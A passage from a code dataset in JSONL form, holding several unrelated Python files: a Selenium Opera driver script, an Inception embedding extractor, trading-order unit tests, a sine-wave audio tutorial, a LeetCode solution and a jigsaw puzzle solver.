({executable})\")\n\ntry:\n # Define as opções do navegador\n options = webdriver.ChromeOptions()\n options.add_argument(\"--disable-notifications\")\n options.add_argument(\"--start-maximized\")\n options.add_argument('--headless')\n\n # Verifica se o driver está atualizado e, se necessário, faz o download e a instalação\n update_opera_driver()\n\n # Inicializa o driver do Opera com as opções definidas\n browser = webdriver.Opera(options=options)\n\n # Navega para uma página da web\n browser.get(\"https://www.google.com\")\n\n # Imprime o título da página\n print(browser.title)\n \nexcept Exception as e:\n print(f\"Erro ao navegar para a página da web: {e}\")\nfinally:\n # Fecha o navegador\n try:\n browser.quit()\n except NameError:\n pass # Não foi possível inicializar o driver, não precisa fechar o navegadorasas\n\n","repo_name":"Guimachancoses/Python-Programs","sub_path":"Drivers-Selenium/OperaDriverSelenium/OperaDriverSelenium.py","file_name":"OperaDriverSelenium.py","file_ext":"py","file_size_in_byte":3185,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"11086020079","text":"from __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport argparse\nimport os.path\nimport re\nimport sys\nimport tarfile\nimport pickle\nimport progressbar\nimport numpy as np\nfrom six.moves import urllib\nimport tensorflow as tf\n\nFLAGS = None\nMODEL_DIR = '/tmp/imagenet'\n# pylint: disable=line-too-long\nDATA_URL = 'http://download.tensorflow.org/models/image/imagenet/inception-2015-12-05.tgz'\n# pylint: enable=line-too-long\n\ndef create_graph():\n \"\"\"Creates a graph from saved GraphDef file and returns a saver.\"\"\"\n # Creates graph from saved graph_def.pb.\n with tf.gfile.FastGFile(os.path.join(\n MODEL_DIR, 'classify_image_graph_def.pb'), 'rb') as f:\n graph_def = tf.GraphDef()\n graph_def.ParseFromString(f.read())\n _ = tf.import_graph_def(graph_def, name='')\n\n\ndef compute_embeddings(images):\n \"\"\"Runs inference on an image.\n\n Args:\n image: Image file names.\n\n Returns:\n Dict mapping image file name to embedding.\n \"\"\"\n\n # Creates graph from saved GraphDef.\n create_graph()\n filename_to_emb = {}\n config = tf.ConfigProto(device_count = {'GPU': 0})\n bar = progressbar.ProgressBar(widgets=[progressbar.Bar('=', '[', ']'), ' ', progressbar.Percentage()])\n with tf.Session(config=config) as sess:\n i = 0\n for image in bar(images):\n if not tf.gfile.Exists(image):\n tf.logging.fatal('File does not exist %s', image) \n image_data = tf.gfile.FastGFile(image, 'rb').read()\n # Some useful tensors:\n # 'softmax:0': A tensor containing the normalized prediction across\n # 1000 labels.\n # 'pool_3:0': A tensor containing the next-to-last layer containing 2048\n # float description of the image.\n # 'DecodeJpeg/contents:0': A tensor containing a string providing JPEG\n # encoding of the image.\n # Runs the softmax tensor by feeding the image_data as input to the graph.\n softmax_tensor = sess.graph.get_tensor_by_name('softmax:0')\n embedding_tensor = sess.graph.get_tensor_by_name('pool_3:0')\n embedding = sess.run(embedding_tensor,\n {'DecodeJpeg/contents:0': image_data})\n filename_to_emb[image] = embedding.reshape(2048)\n i += 1\n # print(image, i, len(images))\n return filename_to_emb\n\n# temp_dir is a subdir of temp \ndef main(project_id, video_name):\n '''image = (FLAGS.image_file if FLAGS.image_file else\n os.path.join(MODEL_DIR, 'cropped_panda.jpg'))'''\n temp_dir = os.path.abspath(os.path.join('temp', project_id, video_name))\n # print(temp_dir)\n # print('loading images')\n image_dir = os.path.join(temp_dir, 'frames')\n images = [os.path.join(dp, f) for dp, dn, filenames in os.walk(image_dir) for f in filenames if os.path.splitext(f)[1].lower() in '.jpg.jpeg']\n # print(images)\n print('Computing embeddings for images.')\n filename_to_emb = compute_embeddings(images)\n if not os.path.isdir(os.path.join(temp_dir, 'embeddings')):\n os.mkdir(os.path.join(temp_dir, 'embeddings'))\n for img_filename, emb in filename_to_emb.iteritems():\n emb_filename = img_filename[:-20]+'embeddings'+img_filename[-14:-4]+'.npy'\n np.save(emb_filename, emb)\n pickle_filename = os.path.join(temp_dir, 'filename_to_emb.pkl')\n with open(pickle_filename, 'w') as output_file:\n pickle.dump(filename_to_emb, output_file)\n embs = []\n '''with open('filenames.tsv', 'w') as filenames_file:\n for filename, emb in filename_to_emb.iteritems():\n filenames_file.write(filename+'\\n')\n embs.append(emb)\n embs = np.array(embs)\n np.savetxt('embs.tsv', embs, delimiter='\\t')'''\nif __name__ == '__main__':\n parser = argparse.ArgumentParser()\n # classify_image_graph_def.pb:\n # Binary representation of the GraphDef protocol buffer.\n # imagenet_synset_to_human_label_map.txt:\n # Map from synset ID to a human readable string.\n # imagenet_2012_challenge_label_map_proto.pbtxt:\n # Text representation of a protocol buffer mapping a label to synset ID.\n parser.add_argument( # not used, assume default works\n '--model_dir',\n type=str,\n default='/tmp/imagenet',\n help=\"\"\"\\\n Path to classify_image_graph_def.pb,\n imagenet_synset_to_human_label_map.txt, and\n imagenet_2012_challenge_label_map_proto.pbtxt.\\\n \"\"\"\n )\n parser.add_argument(\n '--data_dir',\n type=str,\n help='Directory to recursively find images in and compute embeddings for.'\n )\n FLAGS, unparsed = parser.parse_known_args()\n print (sys.argv[0])\n print (unparsed)\n main(FLAGS.data_dir)\n","repo_name":"avikj/SnapStitch","sub_path":"get_inception_embeddings.py","file_name":"get_inception_embeddings.py","file_ext":"py","file_size_in_byte":4536,"program_lang":"python","lang":"en","doc_type":"code","stars":21,"dataset":"github-code","pt":"11"} +{"seq_id":"5919678788","text":"idades = []\nsoma = 0\nprint('Para sair digite -1')\nwhile True:\n idade = int(input('Digite sua idade: '))\n\n if idade == -1:\n break\n elif idade < 0:\n print('valor inválido')\n else:\n idades.append(idade)\n soma += idade\n\nmedia = soma / len(idades)\n\nif media > 0 and media <= 25:\n print('A turma é jovem')\nelif media > 25 and media <= 60:\n print('Turma adulta')\nelse:\n print('Turma idosa')","repo_name":"fsMateus/exerciciosPython","sub_path":"fase3/exercicio25.py","file_name":"exercicio25.py","file_ext":"py","file_size_in_byte":434,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"8028714024","text":"import pytest\nfrom buttonwood.MarketObjects.Events.OrderEventConstants import *\nfrom buttonwood.MarketObjects.Events.OrderEvents import NewOrderCommand\nfrom buttonwood.MarketObjects.Endpoint import Endpoint\nfrom buttonwood.MarketObjects.Market import Market\nfrom buttonwood.MarketObjects.Price import Price\nfrom buttonwood.MarketObjects.Price import PriceFactory\nfrom buttonwood.MarketObjects.Product import Product\nfrom buttonwood.MarketObjects.Side import BID_SIDE\nfrom buttonwood.MarketObjects.Events.OrderEventConstants import MARKET as MARKET_ORDER\nfrom buttonwood.MarketObjects.Events.OrderEventConstants import LIMIT as LIMIT_ORDER\n\nMARKET = Market(Product(\"MSFT\", \"Microsoft\"), Endpoint(\"Nasdaq\", \"NSDQ\"), PriceFactory(\"0.01\"))\n\n\ndef test_creation():\n new_order = NewOrderCommand(12, 324893458.324313, \"342adf24441\", \"user_x\", MARKET, BID_SIDE, FAK,\n Price(\"23.01\"), 234, 2)\n assert new_order.event_type_str() == \"New Order Command\"\n assert new_order.price() == Price(\"23.01\")\n assert new_order.market() == MARKET\n assert new_order.user_id() == \"user_x\"\n assert new_order.timestamp() == 324893458.324313\n assert new_order.event_id() == 12\n assert new_order.side() == BID_SIDE\n assert new_order.qty() == 234\n assert new_order.iceberg_peak_qty() == 2\n\n\ndef test_is_market_order():\n # a market order is a FAK or a FOK, but not a FAR\n new_order = NewOrderCommand(12, 324893458.324313, \"342adf24441\", \"user_x\", MARKET, BID_SIDE, FAK,\n Price(\"23.01\"), 234, 2, limit_or_market=MARKET_ORDER)\n assert new_order.is_market_order()\n\n new_order = NewOrderCommand(12, 324893458.324313, \"342adf24441\", \"user_x\", MARKET, BID_SIDE, FOK,\n Price(\"23.01\"), 234, 2, limit_or_market=LIMIT_ORDER)\n assert new_order.is_market_order() is False\n\n new_order = NewOrderCommand(12, 324893458.324313, \"342adf24441\", \"user_x\", MARKET, BID_SIDE, FAR,\n Price(\"23.01\"), 234, 2)\n assert new_order.is_market_order() is False\n\n\ndef test_is_limit_order():\n # a market order is a FAR, but not a FAK or a FOK\n new_order = NewOrderCommand(12, 324893458.324313, \"342adf24441\", \"user_x\", MARKET, BID_SIDE, FAK,\n Price(\"23.01\"), 234, 2, limit_or_market=MARKET_ORDER)\n assert new_order.is_limit_order() is False\n\n new_order = NewOrderCommand(12, 324893458.324313, \"342adf24441\", \"user_x\", MARKET, BID_SIDE, FOK,\n Price(\"23.01\"), 234, 2, limit_or_market=LIMIT_ORDER)\n assert new_order.is_limit_order() is True\n\n new_order = NewOrderCommand(12, 324893458.324313, \"342adf24441\", \"user_x\", MARKET, BID_SIDE, FAR,\n Price(\"23.01\"), 234, 2)\n assert new_order.is_limit_order() is True\n\n\ndef test_neworder_defaults():\n new_order = NewOrderCommand(12, 324893458.324313, \"342adf24441\", \"user_x\", MARKET, BID_SIDE, FAK,\n Price(\"23.01\"), 234)\n # iceberg peak qty defaults to qty if not defined as argument\n assert new_order.iceberg_peak_qty() == 234\n\n\ndef test_error_on_zero_qty():\n with pytest.raises(AssertionError):\n NewOrderCommand(12, 324893458.324313, \"342adf24441\", \"user_x\", MARKET, BID_SIDE, FAK, Price(\"23.01\"), 0, 2)\n\n\ndef test_error_on_negative_qty():\n with pytest.raises(AssertionError):\n NewOrderCommand(12, 324893458.324313, \"342adf24441\", \"user_x\", MARKET, BID_SIDE, FAK, Price(\"23.01\"), -8, 2)\n\n\ndef test_error_on_negative_iceberg_qty():\n with pytest.raises(AssertionError):\n NewOrderCommand(12, 324893458.324313, \"342adf24441\", \"user_x\", MARKET, BID_SIDE, FAK, Price(\"23.01\"), 8, -2)\n\n\ndef test_error_on_price_not_matching_product():\n with pytest.raises(AssertionError):\n NewOrderCommand(12, 324893458.324313, \"342adf24441\", \"user_x\", MARKET, BID_SIDE, FAK, Price(\"23.001\"), 8, -2)\n","repo_name":"nabicht/Buttonwood","sub_path":"tests/test_MarketObjects/test_Events/test_newordercommand.py","file_name":"test_newordercommand.py","file_ext":"py","file_size_in_byte":3919,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"11"} +{"seq_id":"360963177","text":"import uuid\n\nfrom sidekick.tests.utils import create_org\n\nfrom ..models import Recruitment\n\n\ndef create_recruitment(org=None, **kwargs):\n if not org:\n org = create_org()\n data = {\n \"name\": \"Test Recruitment\",\n \"term_and_conditions\": \"terms and conditions\",\n \"rapidpro_flow_uuid\": str(uuid.uuid4()),\n \"rapidpro_pin_key_name\": \"fake_rapidpro_pin_key_name\",\n \"rapidpro_group_name\": \"fake_rapidpro_group_name\",\n }\n data.update(kwargs)\n return Recruitment.objects.create(org=org, **data)\n","repo_name":"praekeltfoundation/rp-sidekick","sub_path":"rp_recruit/tests/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":540,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"11"} +{"seq_id":"17856739316","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Oct 31 18:27:48 2022\n\n@author: max\n\"\"\"\n\nimport numpy as np\n\nsr = 44100\nf = 150\namp = 0.5\ndur = 2\n\nt = np.arange(dur*sr)/sr\n\ns0 = amp*np.sin( 2*np.pi* f *t )\n\n# %% \n\ns1 = (amp/2)*np.sin( 2*np.pi* 2*f *t )\ns2 = (amp/4)*np.sin( 2*np.pi* 3*f *t )\ns3 = (amp/8)*np.sin( 2*np.pi* 4*f *t )\n\ns = s0 + s1 + s2 + s3\n\n# %% \n\nimport matplotlib.pyplot as plt\n\nplt.plot(t , s)\nplt.plot(t , s0)\nplt.plot(t , s1)\nplt.plot(t , s2)\nplt.plot(t , s3)\n\n# %% \n\nimport sounddevice as sd\nimport time # για παύση ανάμεσα στις αναπαραγωγές\n\nsd.play( s0, 44100 )\nprint('playing s0')\ntime.sleep(dur + 0.1)\nsd.play( s0+s1, 44100 )\nprint('playing s0+s1')\ntime.sleep(dur + 0.1)\nsd.play( s0+s1+s2, 44100 )\nprint('playing s0+s1+s2')\ntime.sleep(dur + 0.1)\nsd.play( s, 44100 )\nprint('playing s')\n\n# %% for tutorial\n\nfor x in ['apple', 'orange', 6, 33.1]:\n print(x)\n\nr = range(10)\nl = list( r )\n\n# %% \n\nsr = 44100\nf = 150\namp = 0.5\ndur = 2\n\nt = np.arange(dur*sr)/sr\n\ns = amp*np.sin( 2*np.pi * f * t )\n\nfor i in range(100):\n s = s + ( amp / ( 2**(i+1) ) )*np.sin( 2*np.pi * (i+2)*f * t )\n\nplt.plot( t, s )\n","repo_name":"maximoskp/MSc_MTA-HMU_AudioProgramming","sub_path":"class03/audio_generators_repetition.py","file_name":"audio_generators_repetition.py","file_ext":"py","file_size_in_byte":1171,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"5758536848","text":"class Solution:\n def maxAreaOfIsland(self, grid: List[List[int]]) -> int:\n m, n = len(grid), len(grid[0]) \n res = 0\n \n def dfs(i, j):\n if i < 0 or i >= m or j < 0 or j >= n or grid[i][j] != 1:\n return 0\n \n grid[i][j] = 0\n return 1 + dfs(i + 1, j) + dfs(i, j + 1) + dfs(i - 1, j) + dfs(i, j - 1)\n\n for i in range(m):\n for j in range(n):\n cnt = 0\n if grid[i][j] == 1:\n cnt = dfs(i, j)\n res = max(res, cnt)\n\n return res\n","repo_name":"YashCGandhi/InterviewPrep","sub_path":"695.MaxAreaofIsland.py","file_name":"695.MaxAreaofIsland.py","file_ext":"py","file_size_in_byte":600,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"10929174248","text":"from typing import Dict, TypedDict\n\nCommon = TypedDict(\"Common\", {\n \"weth-address\": str\n})\n\nNodeConfig = TypedDict(\"NodeConfig\", {\n \"router-address\": str\n})\n\nBlockchainAPIsConfig = TypedDict(\"BlockchainAPIsConfig\", {\n \"blockchain-id\": str,\n \"exchange-id\": str\n})\n\nConfig = TypedDict(\"Config\", {\n # Token owned contains as key the address of the token and as value\n # the amount of the token inside of the wallet\n \"token-owned\": Dict[str, int],\n \"common\": Common,\n \"node-config\": NodeConfig,\n \"blockchain-apis-config\": BlockchainAPIsConfig\n})\n\n\n","repo_name":"blockchainapis/blockchain-apis-speed-benchmark","sub_path":"src/Types.py","file_name":"Types.py","file_ext":"py","file_size_in_byte":574,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"29981682882","text":"import numpy as np\r\nimport copy\r\nimport cv2\r\n\r\nfrom graphics import createSolution, displaySolution\r\nfrom solving.utils import loc_type_detail_to_rotation, setProcessedLists, locTypeInit, priorityInit, Option, Step, rankPaths, interpolate_curve\r\n\r\nfrom graphics import createBGRSolution, displayBGRSolution, imshow\r\nfrom solving.comparator import normaliseContours, compareContours, colourClosestDist, dist\r\nfrom solving.updator import incrementPriorities, updateCurves\r\nfrom solving.assistant import Assistant\r\nfrom utils import takeFourth, imageResize, zoom\r\n\r\n\r\nclass Flags:\r\n \"\"\"Stores flags.\"\"\"\r\n\r\n def __init__(self):\r\n \"\"\"Initialisation\"\"\"\r\n self.backtrack = False\r\n self.path_complete = False\r\n\r\n\r\nclass Solver:\r\n \"\"\"Puzzle solver where no target image is provided.\"\"\"\r\n\r\n def __init__(self, data, settings):\r\n \"\"\"Initialises the puzzle solver with the extracted information.\"\"\"\r\n self.data = data\r\n self.settings = settings\r\n self.n_pieces = len(self.data.piece_contours)\r\n self.n_exterior_pieces = len(self.data.corners) + len(self.data.edges)\r\n if self.data.puzzle_columns < self.data.puzzle_rows:\r\n self.short = self.data.puzzle_columns\r\n self.long = self.data.puzzle_rows\r\n else:\r\n self.short = self.data.puzzle_rows\r\n self.long = self.data.puzzle_columns\r\n self.leg_points = []\r\n self.leg_points.append(0)\r\n if self.short > 8:\r\n self.leg_points.append(int(self.short/2))\r\n self.leg_points.append(self.short)\r\n if self.short > 8:\r\n self.leg_points.append(int(self.short+(self.long-1)/2))\r\n self.leg_points.append(self.short+self.long-1)\r\n if self.short > 8:\r\n self.leg_points.append(int(1.5*self.short+self.long-2))\r\n self.leg_points.append((2*self.short)+self.long-2)\r\n if self.short > 8:\r\n self.leg_points.append(int(self.n_exterior_pieces-(self.long/2)))\r\n self.leg_points.append(self.n_exterior_pieces)\r\n for i in range(1, self.long-2):\r\n if self.short > 8:\r\n self.leg_points.append(int(self.n_exterior_pieces + (i*(self.short-2)) - self.short/2))\r\n self.leg_points.append(self.n_exterior_pieces + (i*(self.short-2)))\r\n self.leg_points.append(self.n_pieces)\r\n self.n_legs = len(self.leg_points)-1\r\n self.hardReset()\r\n\r\n def hardReset(self):\r\n self.flags = Flags()\r\n self.reset()\r\n\r\n def reset(self):\r\n \"\"\"Clears any existing steps taken in attempting to solve the puzzle.\"\"\"\r\n self.x_limit = self.long\r\n self.y_limit = self.long\r\n self.memory = []\r\n self.loc_type, self.loc_type_detail = locTypeInit(self.x_limit, self.y_limit, self.short)\r\n # Create an array to store the piece number of a piece that is successfully placed in that cell:\r\n self.loc = np.full((self.y_limit, self.x_limit), -1)\r\n # Array to store rotation for solution piece\r\n self.rotation = np.full((self.y_limit, self.x_limit), -1)\r\n # Create an array to store the variable priority of a space.\r\n # The solver will use this priority to determine what space to solve next,\r\n # and update the values of surrounding pieces when a piece is successfully placed:\r\n self.priority = priorityInit(self.x_limit, self.y_limit)\r\n # Create an array that can be used to flag whether a piece has been placed:\r\n self.placed_pieces = np.full((1, self.n_pieces), 0)\r\n self.placed_pieces = self.placed_pieces[0]\r\n # Keep track on the order in which pieces are placed\r\n self.placement_order_piece = np.full((1, self.n_pieces), -1)\r\n self.placement_order_piece = self.placement_order_piece[0]\r\n # Array for storing the coordinates of the center of a piece when it is placed in the puzzle:\r\n self.centers_solution = np.full((self.n_pieces, 2), 0)\r\n self.centers_solution[1] = [2 * self.data.av_length, 2 * self.data.av_length]\r\n # To store the contours of already placed pieces to compare new pieces against:\r\n self.space = np.full((self.y_limit, self.x_limit, 4, 2), -1)\r\n # Reset the lists of processed unplaced pieces:\r\n self.processed_corners, self.processed_edges, self.processed_interior = setProcessedLists(\r\n self.data.corners, self.data.edges, self.data.interior)\r\n self.placement_order_space = np.full((self.n_pieces, 2), -1)\r\n self.placement_num = 0\r\n # reset flags\r\n\r\n def solve(self):\r\n \"\"\"Main function for initiating the iterative solving process with backtracking.\"\"\"\r\n self.journey = self.solveJourney()\r\n if len(self.memory) == self.n_pieces:\r\n print(\"Puzzle Solved\")\r\n else:\r\n print(\"Puzzle Cannot Be Solved!\")\r\n\r\n def solveJourney(self):\r\n \"\"\"function for finding the most optimal Journey in which to complete the puzzle.\"\"\"\r\n print(\"solveJourney\")\r\n self.legs = []\r\n self.path_choice = []\r\n for i_leg in range(self.n_legs):\r\n self.path_choice.append(0)\r\n while True:\r\n i = len(self.legs)\r\n leg_start = self.leg_points[i]\r\n leg_end = self.leg_points[i + 1]\r\n ranked_paths = self.solveLeg(leg_start, leg_end)\r\n if self.flags.backtrack:\r\n self.flags.backtrack = False\r\n i_leg = self.legBacktrace()\r\n if i_leg == -1:\r\n break\r\n leg = self.legs[i_leg][self.path_choice[i_leg]][1]\r\n for j in range(i_leg+1, self.n_legs):\r\n self.path_choice[j] = 0\r\n temp_legs = self.legs\r\n self.legs = []\r\n for k in range(i_leg+1):\r\n self.legs.append(temp_legs[k])\r\n print(\"backtracking to leg\", i_leg, \"path\", self.path_choice[i_leg])\r\n else:\r\n self.legs.append(ranked_paths)\r\n leg = ranked_paths[0][1]\r\n final_step = len(leg)-1\r\n final_option = leg[final_step].choice\r\n self.memory = leg\r\n self.backtracker(final_step, final_option)\r\n if len(self.memory) == self.n_pieces:\r\n while True:\r\n print(\"Puzzle Solved\")\r\n if self.settings.show_final_bgr is True:\r\n self.solution_bgr, solution_contours = createBGRSolution(self.data, self)\r\n displayBGRSolution(self.solution_bgr, self.data.av_length, self.x_limit, self.y_limit, self.settings)\r\n print(\"Is this the correct solution? (y/n)\")\r\n # get input from user\r\n # inputString = input()\r\n inputString = 'y'\r\n if inputString == 'y':\r\n return self.legs\r\n else:\r\n if inputString == 'n':\r\n self.selection = inputString\r\n print('trying again')\r\n else:\r\n print('Invalid entry, assuming no')\r\n i_leg = self.legBacktrace()\r\n if i_leg == -1:\r\n return self.legs\r\n leg = self.legs[i_leg][self.path_choice[i_leg]][1]\r\n for j in range(i_leg+1, self.n_legs):\r\n self.path_choice[j] = 0\r\n temp_legs = self.legs\r\n self.legs = []\r\n for k in range(i_leg+1):\r\n self.legs.append(temp_legs[k])\r\n print(\"backtracking to leg\", i_leg, \"path\", self.path_choice[i_leg])\r\n final_step = len(leg)-1\r\n final_option = leg[final_step].choice\r\n self.memory = leg\r\n self.backtracker(final_step, final_option)\r\n if i_leg != self.n_legs-1:\r\n break\r\n else:\r\n if self.settings.show_leg_BGR:\r\n self.solution_bgr, solution_contours = createBGRSolution(self.data, self)\r\n displayBGRSolution(self.solution_bgr, self.data.av_length, self.x_limit, self.y_limit, self.settings)\r\n return self.legs\r\n\r\n def solveLeg(self, leg_start, leg_end):\r\n \"\"\"function for finding the most optimal path in which to complete a leg.\"\"\"\r\n # print(\"solveLeg\")\r\n self.paths = []\r\n while True:\r\n path = self.solvePath(leg_end)\r\n final_step, final_option = self.backtrace(self.memory)\r\n if self.flags.path_complete:\r\n self.paths.append(path)\r\n if final_step < leg_start:\r\n # print(\"Number of paths tried\", len(self.paths))\r\n self.flags.path_complete = False\r\n if len(self.paths) == 0:\r\n self.flags.backtrack = True\r\n return -1\r\n else:\r\n ranked_paths = rankPaths(self.paths, self.settings)\r\n # leg = ranked_paths[0][1]\r\n self.flags.backtrack = False\r\n return ranked_paths\r\n if self.flags.path_complete:\r\n self.backtracker(final_step, final_option)\r\n self.flags.path_complete = False\r\n self.flags.backtrack = False\r\n if self.flags.backtrack:\r\n self.backtracker(final_step, final_option)\r\n self.flags.backtrack = False\r\n\r\n def solvePath(self, path_end):\r\n \"\"\"function for forward solving a pathway.\"\"\"\r\n while True:\r\n if len(self.memory) >= path_end:\r\n self.flags.path_complete = True\r\n path = self.memory\r\n return path\r\n space = self.nextSpace()\r\n x = space[0]\r\n y = space[1]\r\n if self.settings.show_current_space_text:\r\n print(\" \")\r\n print(\"Now solving for space\", space)\r\n if self.loc_type[y][x] == 3: # corner or edge\r\n if self.settings.start_short is True:\r\n processed_exterior = self.processed_corners\r\n else:\r\n processed_exterior = self.processed_corners + self.processed_edges\r\n step = self.solveStep(space, processed_exterior)\r\n if self.loc_type[y][x] == 2: # corner\r\n if self.loc_type_detail[y][x] == 1: # starting piece\r\n options = []\r\n rotation = loc_type_detail_to_rotation(self.loc_type_detail[y][x])\r\n for index in range(len(self.processed_corners)):\r\n piece = self.processed_corners[index]\r\n score = 1 + (0.00001*index)\r\n option = Option(piece, rotation, score)\r\n options.append(option)\r\n choice = 0\r\n step = Step(space, options, choice)\r\n else:\r\n step = self.solveStep(space, self.processed_corners)\r\n if self.loc_type[y][x] == 1: # edge\r\n step = self.solveStep(space, self.processed_edges)\r\n if self.loc_type[y][x] == 0: # interior\r\n step = self.solveStep(space, self.processed_interior)\r\n if self.flags.backtrack:\r\n path = self.memory\r\n return path\r\n # Place in puzzle and update\r\n self.place(step)\r\n if self.settings.show_solver_progress_text:\r\n print(\"Progress:\", self.placement_num, \"/\", self.n_pieces)\r\n if self.settings.show_incremental_solution:\r\n displaySolution(createSolution(self.data, self), self.data.av_length, self.x_limit, self.y_limit, self.settings)\r\n\r\n def solveStep(self, space, pieces):\r\n \"\"\"When provided with a location in the puzzle and list of pieces, it will find the best piece to put in the space.\"\"\"\r\n optimal_index, optimal_piece, optimal_rotation, optimal_piece_score,\\\r\n n_sides_compared, matches = self.generate_options(space, pieces)\r\n if (optimal_piece_score > 99999):\r\n if self.settings.show_error_text:\r\n print(\"No legal matches!\")\r\n print(\"Beginning Backtracking Protocol\")\r\n self.flags.backtrack = 1\r\n options = []\r\n choice = 0\r\n step = Step(space, options, choice)\r\n return step\r\n if (optimal_piece_score > self.settings.score_thresh):\r\n if self.settings.show_error_text:\r\n print(\"No good matches!\")\r\n print(\"Beginning Backtracking Protocol\")\r\n self.flags.backtrack = 1\r\n options = []\r\n choice = 0\r\n step = Step(space, options, choice)\r\n return step\r\n # filter to keep only the matches with somewhat decent scores:\r\n good_matches = self.matchFilter(matches)\r\n good_matches = self.truncate(good_matches, self.settings.max_options)\r\n # restructure the data into a list of objects\r\n options = []\r\n for index in range(len(good_matches)):\r\n piece = good_matches[index][1]\r\n rotation = good_matches[index][2]\r\n score = good_matches[index][3]\r\n option = Option(piece, rotation, score)\r\n options.append(option)\r\n # save all the good options for this step\r\n choice = 0\r\n step = Step(space, options, choice)\r\n\r\n if self.settings.helper:\r\n # if there is only one decent match then it is correct:\r\n if len(good_matches) == 1:\r\n return step\r\n else:\r\n # create image of current partial solution\r\n img_partial_solve, solution_contours = createBGRSolution(self.data, self)\r\n helper = Assistant(space, good_matches, self.data, img_partial_solve, self.x_limit, self.y_limit, self.settings)\r\n result = helper.run()\r\n if result > 0:\r\n choice = result - 1\r\n step.choice = choice\r\n return step\r\n else:\r\n return step\r\n\r\n def generate_options(self, space, pieces):\r\n space_x = space[0]\r\n space_y = space[1]\r\n max_score = 100000000\r\n optimal_piece_score = max_score\r\n optimal_rotation = -1\r\n optimal_index = -1\r\n optimal_piece = -1\r\n n_sides_compared = 0\r\n matches = []\r\n\r\n for i in range(len(pieces)):\r\n piece = pieces[i]\r\n piece_score = max_score\r\n best_rotation = -1\r\n for rotation in range(0, 4):\r\n rotation_score_total = 0\r\n rotation_score_shape = 0\r\n rotation_score_colour = 0\r\n if self.validPieceComparison(space, piece, rotation) == 1:\r\n n_sides_compared = 0\r\n for side in range(0, 4):\r\n space_piece_ref = self.space[space_y][space_x][side][0]\r\n space_side_ref = self.space[space_y][space_x][side][1]\r\n if space_piece_ref != -1: # make sure there is a contour to compare to\r\n n_sides_compared = n_sides_compared + 1\r\n # reference data\r\n contour_ref = self.data.processed_pieces[space_piece_ref][space_side_ref]\r\n if self.settings.interpolate_ref is True:\r\n contour_ref = interpolate_curve(contour_ref, self.settings)\r\n # candidate data\r\n contour_cand = self.data.processed_pieces[piece][(side + rotation) % 4]\r\n if self.settings.interpolate_cand is True:\r\n contour_cand = interpolate_curve(contour_cand, self.settings)\r\n # normalisation\r\n contour_ref, contour_cand, peak_point_ref, peak_point_cand\\\r\n = normaliseContours(contour_ref, contour_cand, self.data.av_length)\r\n x_dist, y_dist, peak_dist = dist(peak_point_ref, peak_point_cand)\r\n if peak_dist > self.settings.max_lock_peak_dist:\r\n rotation_score_total = 10000000\r\n else:\r\n # reference data\r\n colour_curve_ref = self.data.colour_contours[space_piece_ref][space_side_ref]\r\n colour_contour_xy_ref = self.data.colour_contours_xy[space_piece_ref][space_side_ref]\r\n # candidate data\r\n colour_curve_cand = self.data.colour_contours[piece][(side + rotation) % 4]\r\n colour_contour_xy_cand = self.data.colour_contours_xy[piece][(side + rotation) % 4]\r\n # normalisation\r\n colour_contour_xy_ref, colour_contour_xy_cand, colour_peak_point_ref, colour_peak_point_cand\\\r\n = normaliseContours(colour_contour_xy_ref, colour_contour_xy_cand, self.data.av_length)\r\n # comparison\r\n side_score_shape, side_score_colour, side_score_total\\\r\n = compareContours(contour_ref, contour_cand, colour_curve_ref, colour_curve_cand, colour_contour_xy_ref,\r\n colour_contour_xy_cand, self.data.av_length, self.settings)\r\n rotation_score_shape = rotation_score_shape + side_score_shape\r\n rotation_score_colour = rotation_score_colour + side_score_colour\r\n rotation_score_total = rotation_score_total + side_score_total\r\n rotation_score_shape = rotation_score_shape / n_sides_compared\r\n rotation_score_colour = rotation_score_colour / n_sides_compared\r\n rotation_score_total = rotation_score_total / n_sides_compared\r\n if self.settings.show_comparison_text:\r\n print(\"Comparing piece\", piece, \"with rotation\", rotation, \"to space\", space,\r\n f'scores: shape {rotation_score_shape:.4f} colour {rotation_score_colour:.4f}'\r\n f' total {rotation_score_total:.4f}')\r\n else:\r\n rotation_score_total = 10000000\r\n\r\n if rotation_score_total < piece_score:\r\n piece_score = rotation_score_total\r\n best_rotation = rotation\r\n score_log = [i, piece, best_rotation, piece_score]\r\n matches.append(score_log)\r\n if piece_score < optimal_piece_score:\r\n optimal_piece_score = piece_score\r\n optimal_rotation = best_rotation\r\n optimal_index = i\r\n optimal_piece = piece\r\n return optimal_index, optimal_piece, optimal_rotation, optimal_piece_score, n_sides_compared, matches\r\n\r\n def validPieceComparison(self, space, piece, rotation):\r\n \"\"\"Checks if a space and a piece could possibly be a match based on basic criteria.\"\"\"\r\n space_x = space[0]\r\n space_y = space[1]\r\n # for border pieces, check that the straight edge is on the outside\r\n border_rot = loc_type_detail_to_rotation(self.loc_type_detail[space_y][space_x])\r\n if self.loc_type[space_y][space_x] == 3:\r\n if piece in self.processed_corners:\r\n border_rot = 1\r\n else:\r\n border_rot = 0\r\n if ((rotation != border_rot) and (border_rot != -1)):\r\n return 0\r\n # matching locks\r\n for side in range(0, 4):\r\n if self.space[space_y][space_x][side][0] != -1: # check there is something to compare to\r\n piece1 = piece\r\n side1 = (side + rotation) % 4\r\n piece2 = self.space[space_y][space_x][side][0]\r\n side2 = self.space[space_y][space_x][side][1]\r\n edge_type1 = self.data.processed_edge_types[piece1][side1]\r\n edge_type2 = self.data.processed_edge_types[piece2][side2]\r\n if edge_type1 == 0:\r\n if self.settings.show_current_space_text:\r\n print(\"The piece has a border!\")\r\n return 0\r\n if edge_type2 == 0:\r\n if self.settings.show_current_space_text:\r\n print(\"The SPACE has a border!\")\r\n return 